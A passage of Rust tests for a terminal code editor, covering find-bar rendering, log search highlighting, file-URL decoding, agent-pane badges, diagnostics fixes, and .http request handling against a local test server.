/// and painted as "...in the part that could be searc". Nothing rendered the
/// title, so nothing could catch it, and the replacement is protected only
/// by arithmetic no one re-runs. This renders every arm at the real width.
#[test]
fn every_find_bar_title_fits_the_bar_it_is_painted_in() {
    use crate::widgets::editor_find::{EditorFind, render_editor_find};
    use ratatui::buffer::Buffer;
    use ratatui::layout::Rect;

    let area = Rect {
        x: 0,
        y: 0,
        width: 60,
        height: 12,
    };
    let opts = crate::widgets::search::SearchOpts::default();

    // Every arm of the title match, with the WHOLE title it must paint, and
    // how to reach it. `match_index` matters as much as the count: the
    // "N of M" arm is reached ONLY when it is Some, and `set_match_count`
    // does not touch it, so the first version of this test never rendered
    // that arm at all while claiming in its name to cover every one. It is
    // also the arm whose width grows with TWO runtime numbers, which makes
    // it the most able to overrun the bar.
    //
    // The expected string is the ENTIRE title, never a fragment of it. A
    // fragment cannot detect an overrun: text added BEFORE the fragment
    // pushes the tail off the end while leaving the fragment itself intact,
    // so `contains` still passes. Measured rather than reasoned: against the
    // fragment "9876543 of 9876543+", widening that arm to
    // " Find - match {idx} of {total} found in this whole file " (59 cells
    // painted into a 48-cell bar) left this test green. Only the full title
    // makes the clip observable, because the clip removes its end.
    //
    // Written out rather than rebuilt from the code's own format strings on
    // purpose: sharing the construction with the code under test would make
    // any widening agree with itself and pass.
    /// A title arm: the whole title it must paint, and how to reach it.
    type TitleCase = (&'static str, Box<dyn Fn(&mut EditorFind)>);

    let cases: Vec<TitleCase> = vec![
        // The empty-query arm is the BARE title, and it is asserted whole
        // for the same reason as the rest: every other arm also contains
        // "Find", so a fragment could not tell this arm from a wrong one.
        (" Find ", Box::new(|s: &mut EditorFind| s.query.clear())),
        (
            " Find — No results ",
            Box::new(|s: &mut EditorFind| s.set_match_count(0, false)),
        ),
        (
            " Find: no match in the part searched ",
            Box::new(|s: &mut EditorFind| s.set_match_count(0, true)),
        ),
        (
            " Find — 1234 matches ",
            Box::new(|s: &mut EditorFind| s.set_match_count(1234, false)),
        ),
        (
            " Find — 1234+ matches ",
            Box::new(|s: &mut EditorFind| s.set_match_count(1234, true)),
        ),
        (
            " Find — 7 of 1234 ",
            Box::new(|s: &mut EditorFind| {
                s.set_match_count(1234, false);
                s.match_index = Some(7);
            }),
        ),
        (
            " Find — 9876543 of 9876543+ ",
            Box::new(|s: &mut EditorFind| {
                // Both numbers as wide as they plausibly get on a log, since
                // this arm's length grows with each independently.
                s.set_match_count(9_876_543, true);
                s.match_index = Some(9_876_543);
            }),
        ),
    ];

    for (expected, prepare) in cases {
        let mut state = EditorFind::new(String::from("needle"), opts);
        prepare(&mut state);
        let mut buf = Buffer::empty(area);
        render_editor_find(&mut state, area, &mut buf, crate::theme::Theme::BLACK);

        let rect = state.last_rect;
        assert!(rect.width > 0, "the bar must have been painted");
        let row: String = (rect.x..rect.x + rect.width)
            .map(|x| buf[(x, rect.y)].symbol().to_string())
            .collect();
        // THE BAR'S TITLE AREA, not the buffer. Two renderers paint this
        // title and they clip differently: `Block` clips to its own title
        // area (`rect.width - 2`), while the gradient re-stamp in
        // `render_editor_find` uses `set_span`, whose clamp is the BUFFER's
        // right edge. `Theme::BLACK.gradient()` is true, so the second one
        // runs, and a title between 38 and 47 cells overruns the block
        // silently: it writes over the bar's own top-right corner and out
        // past the inner area, while a comparison anchored to the painted
        // row still matches, because the overrun is exactly the text the
        // comparison wanted. The width assertion is what makes that visible.
        assert!(
            expected.chars().count() <= (rect.width as usize).saturating_sub(2),
            "the {}-cell title does not fit a {}-cell bar's title area",
            expected.chars().count(),
            rect.width
        );
        // Exactly, at the position the block paints it: one cell in from
        // the left corner. `contains` would be weaker in both directions -
        // it cannot see a clipped tail when the wanted text is a fragment,
        // and for the bare " Find " arm every other title contains it too,
        // so a completely wrong title would satisfy it.
        let painted: String = row.chars().skip(1).take(expected.chars().count()).collect();
        assert_eq!(
            painted, expected,
            "the title did not fit whole in a {}-cell bar, the row painted {row:?}",
            rect.width
        );
        // And the bar is still a bar. The corner is the first thing an
        // overrunning title destroys, so it is the cheapest witness that the
        // title stayed inside the box it was painted in.
        assert_eq!(
            buf[(rect.x + rect.width - 1, rect.y)].symbol(),
            "\u{256e}",
            "the title overran the bar and ate its top-right corner: {row:?}"
        );
    }
}

/// #257 follow-up: the count and the highlight must agree at every step of
/// a search over a budgeted log.
///
/// Rounds 3, 4 and 5 of #393 each found one instance of a single class: the
/// bar's count and the painted highlight disagreeing. This walks the whole
/// gesture sequence and asserts the exact state after each one: type, step
/// forward into the out-of-reach branch (where round 3's defect lived),
/// step back, retype into a query that matches nothing, delete back.
///
/// NO SEPARATE INVARIANT HELPER, deliberately. An earlier version carried a
/// closure asserting `match_count == 0 => active_search_match.is_none()` at
/// each checkpoint, which reads as the general property behind the three
/// defects. It could not fail: `match_count == 0` holds at exactly one
/// checkpoint, and there the concrete assertion already fixes the highlight
/// to `None`, which is strictly stronger. Neutering the closure entirely
/// left the test green. Extending it over a prefix walk did not help either,
/// because the code has no per-length behaviour, so every state the walk
/// visits is behaviourally identical to one already enumerated.
///
/// A dead assertion whose name announces a property is worse than no
/// assertion: it makes a reader believe the class is covered. The concrete
/// assertions ARE the property, made checkable one state at a time.
///
/// HALF A PAIR. These pin `count == 0` with nothing painted. The other
/// direction, a count that survives while the highlight is thrown away, is
/// pinned by `a_step_that_runs_out_of_reach_keeps_the_match_it_already_had`.
///
/// WHICH CHECKPOINTS ARE NEW. Three of them re-assert what
/// `a_step_that_runs_out_of_reach_keeps_the_match_it_already_had` and
/// `retyping_into_an_out_of_reach_query_clears_the_old_highlight` already
/// cover; they are carried along because this test's subject is the
/// SEQUENCE, and a state is only reached by passing through them. The two
/// that no sibling covers are the backward step and the final backspace
/// into a query that matches again. A reader counting five independent
/// facts here would be counting wrong.
///
/// TWO REACHABLE MATCHES, not one. With a single match the Shift+Enter
/// checkpoint asserted nothing: `find_prev`'s leg 1 rejects the anchor's own
/// match, leg 2 walks back from EOF and runs out of budget before reaching
/// row 0, and `scroll_log_to_match` returns on `out_of_reach` WITHOUT
/// touching `active_search_match`. The assertion passed because the field
/// was never written. Measured: making `find_prev` return
/// `Found(row 0, col 999, len 5)` unconditionally left the test green. A
/// second match on row 1 puts a real backward step within budget, so the
/// checkpoint now fails if `find_prev`'s anchor filter or its column
/// arithmetic regresses.
#[test]
fn the_count_and_the_highlight_agree_at_every_step_of_a_log_search() {
    let tmp = tempfile::tempdir().unwrap();
    let p = tmp.path().join("budgeted.log");
    // TWO matches at the head, both inside the budget, so a backward step
    // has somewhere to land. Row 1 puts ERROR at character column 3, which
    // makes a wrong column visible rather than coincidentally right.
    let mut body = String::from("\u{1b}[31mERROR\u{1b}[0m first\n");
    body.push_str("no \u{1b}[31mERROR\u{1b}[0m second\n");
    let filler = "quiet line with nothing of interest ".repeat(4);
    // Comfortably past the budget, matching the margin the sibling tests use
    // (+3000 lines, ~11%). The earlier +200 was 1.4% over, and while the
    // budget is a pure byte counter with no timing in it, a change to window
    // accounting or to the stripped length of the colour header could flip
    // the sweep from OutOfReach to Absent and quietly change what four
    // assertions mean without any of them failing.
    for _ in 0..(crate::log_view::FIND_SCAN_BYTES / filler.len() + 3000) {
        body.push_str(&filler);
        body.push('\n');
    }
    std::fs::write(&p, &body).unwrap();
    assert!(
        body.len() > crate::log_view::FIND_SCAN_BYTES,
        "the fixture must outrun the sweep budget or the out-of-reach \
         checkpoints test nothing"
    );

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.open(&p).unwrap();
    assert!(app.editor.log.is_some(), "the fixture opens rendered");

    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    for ch in "ERROR".chars() {
        app.handle_key(key(KeyCode::Char(ch), KeyModifiers::NONE))
            .unwrap();
    }
    // The WHOLE tuple, not just the row. A wrong column or length paints the
    // band in the wrong place, which is the defect class this test is for,
    // and comparing only the row cannot see it.
    assert_eq!(
        app.editor.active_search_match,
        Some((0, 0, 5)),
        "typing lands on the first match, at its own column"
    );
    assert_eq!(
        app.editor_find.as_ref().unwrap().match_count,
        2,
        "both head matches are counted, not merely some"
    );

    // Forward to the SECOND match, which is within budget, so this leg
    // asserts a real step rather than a refusal.
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.editor.active_search_match,
        Some((1, 3, 5)),
        "the next match is row 1 at column 3, past the \"no \" prefix"
    );

    // Forward again: nothing further is reachable, so this exercises the
    // out-of-reach branch, which is where round 3's defect lived.
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(
        app.editor.active_search_match,
        Some((1, 3, 5)),
        "a step that cannot reach further keeps the match it had"
    );
    assert!(
        app.editor_find.as_ref().unwrap().count_truncated(),
        "and the bar reports that the search did not cover the file"
    );

    // Backward from row 1 to row 0: within budget, so `find_prev`'s leg 1
    // answers and its result is actually consumed. With one match this leg
    // ran out of budget and `scroll_log_to_match` returned without writing
    // anything, so the assertion passed on an untouched field.
    app.handle_key(key(KeyCode::Enter, KeyModifiers::SHIFT))
        .unwrap();
    assert_eq!(
        app.editor.active_search_match,
        Some((0, 0, 5)),
        "stepping back lands on the previous match, not on the current one"
    );

    // Only now retype into something unmatchable, so the transition from a
    // painted match to none is itself a checkpoint.
    for ch in "ZZQX".chars() {
        app.handle_key(key(KeyCode::Char(ch), KeyModifiers::NONE))
            .unwrap();
    }
    assert_eq!(
        app.editor_find.as_ref().unwrap().match_count,
        0,
        "the new query matches nothing"
    );
    assert_eq!(
        app.editor.active_search_match, None,
        "so nothing may stay painted"
    );

    // And back: the highlight must return rather than staying cleared.
    for _ in 0..4 {
        app.handle_key(key(KeyCode::Backspace, KeyModifiers::NONE))
            .unwrap();
    }
    assert_eq!(
        app.editor.active_search_match,
        Some((0, 0, 5)),
        "a query that matches again must paint its match, whole"
    );
}

/// #414: a dropped `file://` URL naming a non-ASCII path must decode to that
/// path, not to one char per byte.
///
/// The decoder pushed each `%xx` byte, and each literal byte, `as char`,
/// which maps a byte to the Latin-1 code point of the same value, so every
/// multi-byte UTF-8 sequence came out as mojibake and the drop opened a
/// path that does not exist. The same defect class as #396, in the drop
/// path.
#[test]
fn a_dropped_file_url_with_a_non_ascii_path_decodes_to_utf8() {
    use std::path::PathBuf;
    assert_eq!(
        super::normalise_dropped_token("file:///tmp/caf%C3%A9/%E4%B8%AD%E6%96%87.txt"),
        Some(PathBuf::from("/tmp/caf\u{e9}/\u{4e2d}\u{6587}.txt")),
        "percent-encoded UTF-8 reassembles into the characters it encodes"
    );
    assert_eq!(
        super::normalise_dropped_token("file:///tmp/caf\u{e9}"),
        Some(PathBuf::from("/tmp/caf\u{e9}")),
        "a literal non-ASCII character in the URL survives too"
    );
    // The ASCII cases the decoder always handled are unchanged.
    assert_eq!(
        super::normalise_dropped_token("file:///tmp/a%20b"),
        Some(PathBuf::from("/tmp/a b"))
    );
    assert_eq!(
        super::normalise_dropped_token("'/tmp/x y'"),
        Some(PathBuf::from("/tmp/x y"))
    );
    // `+` is not a space in a file URL (form encoding does not apply), and a
    // `%` that is not an escape passes through literally, wherever it sits.
    for (url, want) in [
        ("file:///tmp/a+b", "/tmp/a+b"),
        ("file:///tmp/a%zzb", "/tmp/a%zzb"),
        ("file:///tmp/a%2", "/tmp/a%2"),
        ("file:///tmp/a%", "/tmp/a%"),
    ] {
        assert_eq!(
            super::normalise_dropped_token(url),
            Some(PathBuf::from(want)),
            "{url}"
        );
    }
}

/// A `file://` URL whose escapes do not form valid UTF-8 names no path this
/// process can open. The decoder used to read each byte as Latin-1 and open
/// the wrong path; a lossy decode would instead open a path with U+FFFD in
/// it, which is just as wrong and passes every "is this a path" screen. The
/// function's contract is to drop what is not a plausible path, so it does.
#[test]
fn a_dropped_file_url_with_invalid_utf8_is_dropped() {
    assert_eq!(super::normalise_dropped_token("file:///tmp/%FF"), None);
    assert_eq!(
        super::normalise_dropped_token("file:///tmp/%C3"),
        None,
        "a truncated multi-byte lead is not a path either"
    );
}

/// #352: a workspace's `.vscode/extensions.json` recommendations appear in the
/// Extensions panel under FROM VS CODE with what croft has for each.
#[test]
fn workspace_extension_recommendations_show_under_from_vscode() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::create_dir(tmp.path().join(".vscode")).unwrap();
    std::fs::write(
        tmp.path().join(".vscode").join("extensions.json"),
        r#"{ "recommendations": ["rust-lang.rust-analyzer", "nobody.nothing"] }"#,
    )
    .unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.refresh_extensions();
    let ids: Vec<String> = app
        .extensions
        .items()
        .iter()
        .filter(|i| i.vscode)
        .map(|i| i.id.clone())
        .collect();
    assert_eq!(ids, ["rust-lang.rust-analyzer", "nobody.nothing"]);

    // Toggling a built-in row is an answer, not an install: the status names
    // the extension and what croft has for it, and nothing is disabled.
    let visible = app.extensions.visible_indices();
    let pos = visible
        .iter()
        .position(|&i| app.extensions.items()[i].id == "rust-lang.rust-analyzer")
        .expect("the row is visible");
    app.extensions.select(pos);
    let before = app.disabled_extensions.clone();
    app.toggle_selected_extension();
    assert!(
        app.status
            .starts_with("rust-lang.rust-analyzer: built in: lsp-rust"),
        "the status restates the row: {}",
        app.status
    );
    assert_eq!(app.disabled_extensions, before, "nothing was toggled");
}

/// #344: a pane whose foreground process is a coding agent is badged, its
/// status is read off the screen once it goes quiet, and the `Waiting`
/// transition fires exactly once per prompt. The fake agent is a shell that
/// prints a permission question and then sits; the sample names it `claude`
/// the way the label sampler would.
#[test]
fn an_agent_pane_is_badged_and_a_prompt_fires_waiting_once() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.terminals[0] = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[
            String::from("-c"),
            String::from(
                "printf 'Edited src/main.rs\\nDo you want to proceed? (y/n)\\n'; sleep 30",
            ),
        ],
        tmp.path(),
    )
    .unwrap();
    let shell_pid = app.terminals[0]
        .shell_pid()
        .expect("a running pane has a pid");
    crate::test_budget::await_spawned(
        crate::test_budget::tests::SHELL_PAINT_BASE,
        "the fake agent to paint its prompt",
        || app.terminals[0].visible_text().contains("proceed"),
    );
    let zero = std::time::Duration::ZERO;

    // First sample: seated straight into a prompt.
    let samples = vec![(shell_pid, String::from("claude"))];
    assert!(app.apply_agent_samples(&samples, zero), "the lane changed");
    let lane = app.terminals[0].agent().cloned().expect("badged");
    assert_eq!(lane.name, "claude");
    assert_eq!(lane.status, crate::agents::AgentStatus::Waiting);
    assert!(app.drain_agent_events(), "a waiting agent is announced");
    assert!(
        app.status.contains("claude") && app.status.contains("waiting"),
        "{}",
        app.status
    );
    assert_eq!(app.agent_counts(), (1, 1));

    // The same prompt on the next sample: no second Waiting.
    app.status.clear();
    assert!(!app.apply_agent_samples(&samples, zero), "nothing changed");
    assert!(!app.drain_agent_events(), "the prompt fires once");
    assert!(app.status.is_empty());

    // The pill wears the badge and the chip counts it.
    let backend = ratatui::backend::TestBackend::new(120, 30);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    app.split_terminal().unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let buf = term.backend().buffer().clone();
    let text: String = (0..buf.area.height)
        .map(|y| {
            (0..buf.area.width)
                .map(|x| buf[(x, y)].symbol().to_string())
                .collect::<String>()
        })
        .collect::<Vec<_>>()
        .join("\n");
    assert!(
        text.contains("\u{25c6} claude \u{25d0}"),
        "the pill wears the badge:\n{text}"
    );
    assert!(
        text.contains("1 agent \u{b7} 1 waiting"),
        "the chip counts it:\n{text}"
    );
    assert!(app.status_agents_rect.width > 0, "and is clickable");

    // Clicking the chip from the editor with the panel collapsed reveals
    // the pane, not just focuses it.
    app.show_terminal = false;
    app.focus_pane(Pane::Editor);
    term.draw(|frame| app.render(frame)).unwrap();
    let chip = app.status_agents_rect;
    assert!(
        chip.width > 0,
        "the chip is painted while the panel is hidden"
    );
    app.handle_mouse(mouse(
        crossterm::event::MouseEventKind::Down(crossterm::event::MouseButton::Left),
        chip.x,
        chip.y,
    ));
    assert!(app.show_terminal, "the click reveals the panel");
    assert!(matches!(app.focus, Pane::Terminal), "and focuses the pane");

    // The agent leaving the foreground unseats it: the shell reclaiming the
    // pane is one way, and a pane that produced no sample at all (the agent
    // took the shell with it, or the pid was missed) is the other.
    let gone = vec![(shell_pid, String::from("zsh"))];
    assert!(app.apply_agent_samples(&gone, zero));
    assert!(app.terminals[0].agent().is_none());
    assert_eq!(app.agent_counts(), (0, 0));
    assert!(app.apply_agent_samples(&samples, zero), "re-seated");
    assert!(app.apply_agent_samples(&[], zero), "no sample unseats");
    assert!(app.terminals[0].agent().is_none());
    assert!(
        matches!(
            app.agent_events.back(),
            Some(crate::agents::AgentEvent::Gone { .. })
        ),
        "and says so: {:?}",
        app.agent_events
    );

    // A pane that has not output yet is quiet since it spawned, not since
    // 1970, so a just-launched agent reads as working.
    let fresh = crate::widgets::terminal::PtyTerminal::new_running(
        "/bin/sh",
        &[String::from("-c"), String::from("sleep 30")],
        tmp.path(),
    )
    .unwrap();
    assert!(
        fresh.quiet_for() < std::time::Duration::from_secs(5),
        "quiet for {:?}",
        fresh.quiet_for()
    );
}

/// #394: a log past the head budget opens on a partial index, the header
/// says so, and the main loop's `poll_log_index` grows it to the total and
/// re-runs an open find's count once the pass is done.
#[test]
fn a_large_log_opens_before_its_index_is_complete_and_the_loop_finishes_it() {
    let tmp = tempfile::tempdir().unwrap();
    use ratatui::widgets::Widget as _;
    let p = tmp.path().join("huge.log");
    let mut body = Vec::new();
    body.extend_from_slice(b"\x1b[32mINFO\x1b[0m head\n");
    let mut lines = 1usize;
    while (body.len() as u64) < crate::log_view::HEAD_INDEX_BYTES + 1024 * 1024 {
        body.extend_from_slice(format!("line{lines} some padding text\n").as_bytes());
        lines += 1;
    }
    body.extend_from_slice(b"\x1b[31mERROR\x1b[0m disk full\n");
    let total = lines + 1;
    std::fs::write(&p, &body).unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.focus_pane(Pane::Editor);
    app.editor.open(&p).unwrap();
    let log = app.editor.log.as_ref().expect("opens as a rendered log");
    assert!(log.indexing(), "the tail is still being indexed after open");
    assert!(log.len() < total, "the count is a lower bound for now");

    let area = Rect::new(0, 0, 80, 12);
    let mut buf = ratatui::buffer::Buffer::empty(area);
    (&mut *app.editor).render(area, &mut buf);
    // The header sits on the row above the body the frame published; the
    // editor's own border occupies row 0.
    let body = app.editor.log.as_ref().unwrap().last_body;
    let header: String = (body.x..body.x + body.width)
        .map(|x| buf[(x, body.y - 1)].symbol().to_string())
        .collect();
    assert!(
        header.contains("so far, indexing"),
        "the header must not present a moving count as a total: {header:?}"
    );

    // A find typed while the pass runs: the ERROR line is past the index.
    app.handle_key(key(KeyCode::Char('f'), KeyModifiers::SUPER))
        .unwrap();
    for ch in "disk".chars() {
        app.handle_key(key(KeyCode::Char(ch), KeyModifiers::NONE))
            .unwrap();
    }
    let state = app.editor_find.as_ref().unwrap();
    assert!(
        state.count_truncated(),
        "a count taken against a partial index is flagged partial"
    );

    crate::test_budget::await_spawned(
        std::time::Duration::from_secs(10),
        "the background log index",
        || {
            app.poll_log_index();
            !app.editor.log.as_ref().unwrap().indexing()
        },
    );
    assert_eq!(app.editor.log.as_ref().unwrap().len(), total);
    (&mut *app.editor).render(area, &mut buf);
    // The header sits on the row above the body the frame published; the
    // editor's own border occupies row 0.
    let body = app.editor.log.as_ref().unwrap().last_body;
    let header: String = (body.x..body.x + body.width)
        .map(|x| buf[(x, body.y - 1)].symbol().to_string())
        .collect();
    assert!(
        header.contains(&format!("{total} lines ")) && !header.contains("indexing"),
        "the finished header carries the total: {header:?}"
    );
    assert!(
        !app.poll_log_index(),
        "a finished index asks for no more repaints"
    );
}

/// #374: Fix with Navigator from PROBLEMS. With no navigator seated the
/// action lands on the diagnostic and says the navigator is not active
/// rather than doing nothing; the caret-side entry points resolve the
/// diagnostic under the caret with its server as the source; the palette
/// carries the command; and the Quick Fix picker offers the navigator row
/// after the server's own actions.
#[test]
fn fix_with_navigator_lands_on_the_diagnostic_and_refuses_without_a_seat() {
    use crate::lsp::manager::DiagnosticSeverity;
    let tmp = tempfile::tempdir().unwrap();
    let file = tmp.path().join("a.rs");
    std::fs::write(&file, "use std::io;\nfn main() {}\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&file).unwrap();
    let mut by_server = std::collections::HashMap::new();
    by_server.insert(
        String::from("rust-analyzer"),
        vec![crate::lsp::manager::Diagnostic {
            start_line: 0,
            start_char: 4,
            end_line: 0,
            end_char: 11,
            severity: DiagnosticSeverity::Warning,
            message: String::from("unused import: `std::io`"),
        }],
    );
    app.lsp_diagnostics.insert(file.clone(), by_server);
    assert!(app.drain_lsp_diagnostics());
    assert!(app.rebuild_problems());
    let (path, item) = {
        let groups = app.problems.groups();
        (groups[0].path.clone(), groups[0].items[0].clone())
    };
    assert_eq!(item.source, "rust-analyzer");

    // Move the caret away, then fix: with no navigator the action refuses
    // up front and has no side effect, so the caret stays where it was
    // rather than jumping to a diagnostic nothing is going to fix.
    app.editor.cursor_row = 1;
    app.fix_problem_with_navigator(path.clone(), item.clone(), Vec::new());
    assert!(
        app.status.to_lowercase().contains("not active"),
        "{}",
        app.status
    );
    assert_eq!(app.editor.path.as_deref(), Some(file.as_path()));
    assert_eq!(app.editor.cursor_row, 1, "a refusal moves nothing");
    assert!(
        app.problems.fixing.is_none(),
        "no turn was sent, so no spinner"
    );
    app.editor.cursor_row = 0;

    // The caret-side candidate is the same diagnostic, with its server.
    let (cpath, citem) = app
        .navigator_fix_candidate()
        .expect("the caret sits on a diagnostic");
    assert_eq!(cpath, file);
    assert_eq!(citem.message, item.message);
    assert_eq!(citem.source, "rust-analyzer");
    assert!(citem.col_utf16);
    app.editor.cursor_row = 1;
    assert!(
        app.navigator_fix_candidate().is_none(),
        "no diagnostic on the second line"
    );
    app.editor.cursor_row = 0;

    // The Quick Fix picker: server actions first, the navigator row last.
    app.open_code_action_picker(vec![crate::lsp::manager::CodeActionItem {
        title: String::from("Remove unused import"),
        server: String::from("rust-analyzer"),
        edits: Vec::new(),
        command: None,
        needs_resolve: false,
        resolve_action: None,
        is_preferred: false,
    }]);
    let picker = app.list_picker.as_ref().expect("the picker opened");
    let labels: Vec<String> = picker.rows.iter().map(|r| r.label.clone()).collect();
    assert_eq!(labels, vec!["Remove unused import", "Fix with Navigator"]);
    assert_eq!(picker.rows[1].id, "navigator");

    // Confirming the navigator row must route to the navigator, never to
    // the server's first action: the picker's shared numeric-id decode
    // parses "navigator" to 0 (#374 review, the blocker).
    if let Some(picker) = app.list_picker.as_mut() {
        picker.select_next();
        assert_eq!(picker.selected_row().unwrap().id, "navigator");
    }
    app.status.clear();
    app.confirm_list_picker();
    assert!(
        app.status.to_lowercase().contains("not active"),
        "the navigator row reached the navigator path: {}",
        app.status
    );
    assert_eq!(
        app.editor.lines.join("\n"),
        "use std::io;\nfn main() {}",
        "and no server action touched the buffer"
    );

    // The control: the server row still applies the server action.
    app.open_code_action_picker(vec![crate::lsp::manager::CodeActionItem {
        title: String::from("Remove unused import"),
        server: String::from("rust-analyzer"),
        edits: Vec::new(),
        command: None,
        needs_resolve: false,
        resolve_action: None,
        is_preferred: false,
    }]);
    app.status.clear();
    app.confirm_list_picker();
    assert!(
        !app.status.to_lowercase().contains("not active"),
        "row 0 is the server's, not the navigator's: {}",
        app.status
    );

    // Deactivating the seat clears the marker (#374 review): with the
    // navigator gone no TurnDone can arrive, so the unseat path is the
    // only thing standing between the row and an eternal spinner.
    app.problems.fixing = Some((file.clone(), 0));
    app.problems_fix_started = Some(std::time::Instant::now());
    app.last_pair_check = None;
    app.maybe_seat_navigator();
    assert!(
        app.problems.fixing.is_none(),
        "the deactivation teardown clears the fix marker"
    );
    assert_eq!(app.problems_fix_spinner_phase(), 0);

    // The palette carries the command; the menu entry has no chord.
    assert!(
        crate::widgets::command_palette::ALL_COMMANDS
            .contains(&crate::widgets::command_palette::Command::FixProblemWithNavigator)
    );
    assert_eq!(
        crate::widgets::command_palette::Command::FixProblemWithNavigator.id(),
        "problems_fix_navigator"
    );
    assert_eq!(
        shortcut_for(&MenuAction::FixProblemWithNavigator {
            path: path.clone(),
            item: item.clone()
        }),
        None
    );

    // The spinner stops with the turn, however it ended (#374): the same
    // clear runs on TurnDone, on the seat dying, and on unseat.
    app.problems.fixing = Some((path, item.line));
    app.problems_fix_started = Some(std::time::Instant::now());
    assert!(app.problems_fix_spinner_phase() < 100);
    app.clear_problem_fix();
    assert!(app.problems.fixing.is_none());
    assert_eq!(
        app.problems_fix_spinner_phase(),
        0,
        "idle never wakes the renderer"
    );
}
/// #370: a `.http` file runs the request under the caret. The variables
/// substitute from `.http.env.json` on the WIRE only: the status line,
/// history entry, and response tab all carry the raw `{{name}}` form, so
/// the token never leaves the env file. A JSON response opens pretty-printed
/// as `.jsonc`; a PNG response opens through the image path.
#[test]
fn an_http_file_runs_requests_and_keeps_secrets_out_of_history_and_the_tab() {
    use std::io::{Read as _, Write as _};
    let tmp = tempfile::tempdir().unwrap();
    // The cache-dir override is a process-wide global shared with the relay
    // family: hold their lock and restore via RAII, exactly as
    // `with_relay_home` does, so a panic cannot leak the redirect into
    // later tests (#428 review).
    struct RestoreCacheDir;
    impl Drop for RestoreCacheDir {
        fn drop(&mut self) {
            *CACHE_DIR_OVERRIDE_FOR_TEST.lock().unwrap() = None;
        }
    }
    let _cache_lock = relay_test_lock().lock().unwrap();
    let _restore = RestoreCacheDir;
    *CACHE_DIR_OVERRIDE_FOR_TEST.lock().unwrap() = Some(tmp.path().join("cache"));

    // A 1x1 PNG via the image crate, so the decode on open genuinely works.
    let png_bytes = {
        let img: image::RgbaImage = image::ImageBuffer::from_pixel(1, 1, image::Rgba([0, 0, 0, 0]));
        let mut buf: Vec<u8> = Vec::new();
        image::DynamicImage::ImageRgba8(img)
            .write_to(&mut std::io::Cursor::new(&mut buf), image::ImageFormat::Png)
            .unwrap();
        buf
    };

    let listener = std::net::TcpListener::bind("127.0.0.1:0").unwrap();
    let port = listener.local_addr().unwrap().port();
    let seen = std::sync::Arc::new(std::sync::Mutex::new(Vec::<String>::new()));
    let seen2 = seen.clone();
    let png_served = png_bytes.clone();
    std::thread::spawn(move || {
        for stream in listener.incoming() {
            let Ok(mut s) = stream else { break };
            let mut buf = vec![0u8; 8192];
            let n = s.read(&mut buf).unwrap_or(0);
            let req = String::from_utf8_lossy(&buf[..n]).to_string();
            let (body, ct): (Vec<u8>, &str) = if req.starts_with("GET /users") {
                (
                    b"{\"users\":[{\"id\":1,\"name\":\"ada\"}]}".to_vec(),
                    "application/json",
                )
            } else {
                (png_served.clone(), "image/png")
            };
            seen2.lock().unwrap().push(req);
            let head = format!(
                "HTTP/1.1 200 OK\r\ncontent-type: {ct}\r\ncontent-length: {}\r\nconnection: close\r\n\r\n",
                body.len()
            );
            let _ = s.write_all(head.as_bytes());
            let _ = s.write_all(&body);
            let _ = s.shutdown(std::net::Shutdown::Both);
        }
    });

    let http = tmp.path().join("api.http");
    std::fs::write(
        &http,
        "GET {{host}}/users\nAuthorization: Bearer {{token}}\n\n###\nGET {{host}}/logo.png\n",
    )
    .unwrap();
    std::fs::write(
        tmp.path().join(crate::http_file::ENV_FILE),
        format!("{{\"host\": \"http://127.0.0.1:{port}\", \"token\": \"super-secret-token\"}}"),
    )
    .unwrap();

    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.editor.open_pinned(&http).unwrap();
    app.editor.cursor_row = 1;
    app.send_http_request_under_caret();
    assert!(
        app.status.starts_with("Sending GET {{host}}/users"),
        "the status carries the RAW line: {}",
        app.status
    );
    crate::test_budget::await_spawned(
        std::time::Duration::from_secs(10),
        "the HTTP response",
        || {
            app.drain_http_responses();
            app.http_run.is_none()
        },
    );
    let opened = app.editor.path.clone().expect("a response tab opened");
    assert_eq!(opened.extension().and_then(|e| e.to_str()), Some("jsonc"));
    let doc = app.editor.lines.join("\n");
    assert!(
        doc.contains("// GET {{host}}/users \u{2192} HTTP/1.1 200 OK"),
        "{doc}"
    );
    assert!(doc.contains("\"users\": ["), "pretty-printed: {doc}");
    assert!(
        !doc.contains("super-secret-token"),
        "the token never reaches the tab"
    );
    assert!(
        seen.lock().unwrap()[0].contains("Bearer super-secret-token"),
        "but the wire DID carry the substituted value"
    );
    let hits = app.command_history.search(
        "http GET",
        crate::command_history::HistoryScope::All,
        "",
        "",
    );
    assert_eq!(
        hits[0].cmd, "http GET {{host}}/users",
        "history keeps the raw line"
    );
    assert_eq!(hits[0].exit, Some(200));
    assert!(!hits[0].cmd.contains("super-secret-token"));

    // The PNG block renders through the image path.
    app.editor.open_pinned(&http).unwrap();
    app.editor.cursor_row = 4;
    app.send_http_request_under_caret();
    crate::test_budget::await_spawned(
        std::time::Duration::from_secs(10),
        "the PNG response",
        || {
            app.drain_http_responses();
            app.http_run.is_none()
        },
    );
    assert!(
        app.editor.image.is_some(),
        "a PNG response opens as an image, not bytes in a text tab: {:?}",
        app.editor.path
    );

    // A second send while one is in flight is refused and clobbers
    // nothing; a worker that died reports itself on the next drain.
    let (dummy_tx, dummy_rx) = std::sync::mpsc::channel();
    app.http_run = Some(dummy_rx);
    app.editor.open_pinned(&http).unwrap();
    app.editor.cursor_row = 0;
    app.send_http_request_under_caret();
    assert_eq!(app.status, "An HTTP request is already in flight");
    drop(dummy_tx);
    assert!(app.drain_http_responses());
    assert!(app.status.contains("worker died"), "{}", app.status);
    assert!(app.http_run.is_none());

    // A transport failure must NOT leak a substituted secret into the
